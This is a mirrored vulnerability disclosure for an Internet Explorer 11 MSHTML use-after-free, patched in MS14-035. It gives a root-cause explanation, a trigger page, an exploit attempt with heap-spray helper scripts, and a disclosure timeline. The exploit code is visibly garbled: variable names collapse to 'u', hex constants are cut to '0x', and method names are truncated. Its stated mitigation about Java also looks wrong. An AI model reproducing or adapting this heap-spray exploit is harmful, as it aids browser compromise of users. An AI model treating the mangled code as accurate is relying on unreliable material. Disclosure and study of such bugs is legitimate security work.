首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Internet Explorer 11 MSHTML - CSpliceTree­Engine::RemoveSplice Use
来源:http://blog.skylined.nl 作者:Skylined 发布时间:2016-12-21  
<!--
Source: http://blog.skylined.nl/20161220001.html
 
Synopsis
 
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
 
Known affected software, attack vectors and potential mitigations
 
Microsoft Internet Explorer 11
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java should prevent an attacker from triggering the vulnerable code path.
 
Details
 
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::Do and when you execute document.exec("Delete"). This memory can be freed when you execute document.open() in a DOMNode event handler. After that, you can use Javascript to reallocate the memory before it is reused.
 
Repro.html:
 
<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11">
    <script type="text/javascript">
      document.add("DOMNode", function () {
        document.open(); // free
        // attempt to modify freed memory here
        // because it will be reused after this function returns.
      }, true);
      window.onload = function () {
        document.design="on";
        document.exec("Select");
        document.exec("Delete"); // allocate
      };
    </script>
  </head>
  <body>
  </body>
</html>
 
Exploit
 
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
 
Sploit.html:
-->
 
<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11">
    <script src="c.js"></script>
    <script src="c.js"></script>
    <script>
      var aau  = [
          [0x08, 0x80],
          [0x08, 0x40],
          [0x08, 0x20],
          [0x10, 0x80]
      ];
      var u = 0x12340000;
      var ao = new Array(aau.length);
      for (var i = 0; i < aau.length; i++) {
        ao[i] = new c(aau[i][0], aau[i][1]);
        ao[i].set(0x0100, u + 0x0300);
        ao[i].spray();
      }
      document.add("DOMNode", function () {
        document.open();
        var oLFHReuse = new c(10, 0x28);
        o.set(0x10, u + 0x0100);
        o.set(0x14, u + 0x0200);
        o.spray();
      }, true);
      window.onload = function () {
        document.designMode="on";
        document.exec("Select");
        document.exec("Delete");
        document.designMode="off";
      };
    </script>
  </head>
  <body>
  </body>
</html>
 
<!--
########################################################################
 
c.js:
 
function c(u, u) {
  this.ao = new Array(u);
  var au = new Array(u - 1 >> 1);
  for (var i = 0; i < au.length; i++) {
    au[i] = ((i & 0x) * 0x202 + 0x100) & 0x;
  }
  this.set = function(u, u) {
    this.set(u, u & 0x);
    this.set(u + 2, u >>> 16);
  }
  this.set = function(u, u) {
    this.set(u, u & 0x);
    this.set(u + 1, u >>> 8);
  }
  this.set = function(u, u) {
    var u = u >> 1;
    var u0 = (u & 1 ? au[u] : u) & 0x;
    var u1 = (u & 1 ? u : (au[u] >> 8)) & 0x;
    au[u] = u0 + (u1 << 8);
  }
  this.spray = function() {
    var s = String.from.apply(0, au);
    for (var i = 0; i < u; i++) {
      this.ao[i] = document.create("span"); // allocate 0x34 bytes
      this.ao[i].class = s; // allocate 0x10, u and 0x40 bytes.
    }
  }
}
 
########################################################################
 
c.js:
 
var c = (function() {
  var u = 0x10000;
  var u = 0x10;
  var u = 0x04;
  var as = new Array(u / 2);
  for (var u = 0; u < as.length; u += 2) {
    as[u] = String.from(u);
    as[u + 1] = String.from(0x);
  }
  return function c(u, u) {
    this.u = u * u - u - u;
    var s = as.join("");
    var s, as = new Array(u);
    this.set = function (u, u) {
      this.set(u, u & 0x);
      this.set(u + 2, (u >> 16) & 0x);
    }
    this.set = function (u, u) {
      if (s) throw new Error("Cannot set chunk values after generating block");
      if (u & 1) throw new Error("u (" + u.to(16) + ") must be Word aligned");
      if (u >= u) throw new Error("u (" + u.to(16) + ") must be smaller than 0x" + u.to(16));
      var u = u / 2;
      var s = String.from(u & 0x);
      s = s.substr(0, u) + s + s.substr(u + 1);
    }
    this.generate = function () {
      if (s) throw new Error("Cannot generating block twice");
      s = (
        s.substr(u / 2) +
        new Array(u - 1).join(s) +
        s.substr(0, (u - u) / 2)
      );
    }
    this.set = function (u, u) {
      this.set(u, u & 0x);
      this.set(u + 2, (u >> 16) & 0x);
    }
    this.set = function (u, u) {
      if (!s) this.generate();
      if (u & 1) throw new Error("u (" + u.to(16) + ") must be Word aligned");
      var u = (u - u) / 2;
      if (u < 0) throw new Error("u (" + u.to(16) + ") must be larger than 0x" + u.to(16));
      if (u >= s.length) throw new Error("u (" + u.to(16) + ") must be smaller than 0x" + (u + s.length * 2).to(16));
      var s = String.from(u & 0x);
      s = s.substr(0, u) + s + s.substr(u + 1);
    }
    this.spray = function() {
      if (!s) this.generate();
      for (var i = 0; i < u; i++) {
        as[i] = ("" + s).slice(0);
      }
    }
  }
})();
 
 
Time-line
 
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Google Chrome < 31.0.1650.48 -
·Microsoft Edge - SIMD.toLocale
·ntop-ng 2.5.160805 - Username
·Microsoft Edge - International
·RedStar 3.0 Server - 'BEAM & R
·NETGEAR WNR2000v5 - Remote Cod
·Naenara Browser 3.5 (RedStar 3
·at(1) Persistence Module
·Microsoft Internet Explorer 9
·IBM AIX 6.1/7.1/7.2 - 'Bellmai
·iOS 10.1.1 / macOS 10.12 16A32
·macOS 10.12.1 Kernel - Writabl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved